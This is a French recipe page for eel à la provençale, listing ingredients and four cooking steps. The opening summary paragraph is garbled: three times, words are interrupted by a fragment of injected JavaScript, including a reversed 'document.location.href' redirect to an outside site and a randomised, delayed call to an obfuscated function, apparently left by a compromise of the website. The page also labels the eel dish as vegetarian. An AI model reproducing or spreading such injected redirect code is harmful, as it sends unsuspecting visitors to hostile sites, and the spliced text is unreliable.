Anguille à la provençale
2018-01-03- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Difficile
Pelez et coupez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Écrasez l’ail. Hachez l’oignon.
Dans une poêle avec 2 cuillères à soupe d’huile d’olive, faites cuire les dés de tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant ajoutez le hachis d’herbes, le sucre, le bouquet garni, les olives noires laissez cuire pendant 5 minutes.
Ingrédients
- Pour 4 personnes
- 600 g d’anguilles
- 1 cuillère à café de sucre en poudre
- 5 tomates
- 1 oignon
- 2 dl de vin blanc
- 1 bouquet de garni
- 1 gousse d’ail
- 10 olives noires
- 3 cuillères à soupe de persil plat
- Sel / poivre
Préparation de la recette
Etape 1
Pelez et coupez les tomates en petits dés. Écrasez l’ail. Hachez l’oignon.
Etape 2
Dans une poêle avec 2 cuillères à soupe d’huile d’olive, faites cuire les dés de tomates sur feu doux tout en remuant ajoutez le hachis d’herbes, le sucre, le bouquet garni, les olives noires laissez cuire pendant 5 minutes.
Etape 3
Coupez l’anguille en tronçons, salez et poivrez. Dans une poêle faites-la rissoler sur feu moyen.
Etape 4
Déglacez avec le vin blanc et ajoutez la sauce tomate que vous faites mijoter à couvert pendant 15 à 20 minutes. Vérifiez la cuisson et servez.
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